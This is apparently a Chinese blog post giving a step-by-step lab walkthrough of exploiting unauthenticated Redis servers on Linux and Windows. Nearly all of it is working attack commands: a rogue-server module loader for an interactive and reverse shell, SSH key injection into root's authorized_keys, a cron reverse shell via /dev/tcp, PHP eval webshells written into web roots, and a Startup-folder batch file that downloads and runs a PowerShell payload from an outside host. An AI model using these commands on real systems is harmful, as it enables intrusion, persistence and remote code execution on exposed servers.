oxo1 前言
闲来没事来学一下 Redis 未授权吧、顺路写一篇公众号文章。不是原创、只是东搜西搜拼成一篇文章而已。作为脚本小子就不写什么原理了、因为也不懂。想知道原理的可以谷歌搜索学习吧。
Kali linux + Redis 4.x
Centos 7 + Redis 5.x
Win7 + Redis
修改 redis.conf (redis.windows.conf)配置文件
bind 127.0.0.1
protected-mode yes
改成下方内容就可以未授权访问了
# bind 127.0.0.1
protected-mode no
本地测试的版本:4.x + 5.x
利用工具:https://github.com/n0b0dyCN/redis-rogue-server
下载、安装、利用、一波操作。
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server/RedisModulesSDK/exp
make
cd ../../
python3 redis-rogue-server.py --rhost 192.168.237.130 --lhost 192.168.237.129
输入 i
得到一个交互式 Shell、可以直接输入命令
输入 r
可以反弹 Shell
得到 Shell
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70445399
Kali 本地生成 ssh key
ssh-keygen -t rsa
进入 .ssh 目录把公钥写入到 ssh.txt 文件中
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > ssh.txt
把 ssh.txt 复制到 redis 启动的目录、然后写入
cat ssh.txt | ./redis-cli -h 192.168.237.130 -x set ssh_key./redis-cli -h 192.168.237.130
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
然后就可以连接了、第一次连接的时候需要输入 yes
ssh -i id_rsa [email protected]
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70381805/
连接、写入反弹Shell命令、得到Shell
./redis-cli -h 192.168.237.130config set dir /var/spool/cron/
config set dbfilename root
set x "\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.237.1/888 0>&1\n\n\n"
save
得到 Shell
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70380577/
连接、写入Webshell、菜刀连之
./redis-cli -h 192.168.237.130config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST[1]);?>"
save
菜刀连之
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70377553/
CS生成后门、连接Redis、写入自启动、重启Win7、成功上线
./redis-cli -h 192.168.237.128config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
config set dbfilename 1.bat
set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.237.129:80/a'))\"\r\n\r\n"
save
手动重启靶机、成功上线
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70375932/
连接、写入Webshell、菜刀连之
./redis-cli -h 192.168.237.128config set dir c:/phpstudy/www
config set dbfilename shell.php
set shell "<?php @eval($_POST[1]);?>"
save
菜刀连之
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70373023/
利用方法简单、没什么麻烦的操作。每个操作步骤我还录了几个渣渣视频、脚本小子能做的只有这么多了。
https://github.com/n0b0dyCN/redis-rogue-server
https://zhuanlan.zhihu.com/p/79808540
https://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
https://zhuanlan.zhihu.com/p/25015624
https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html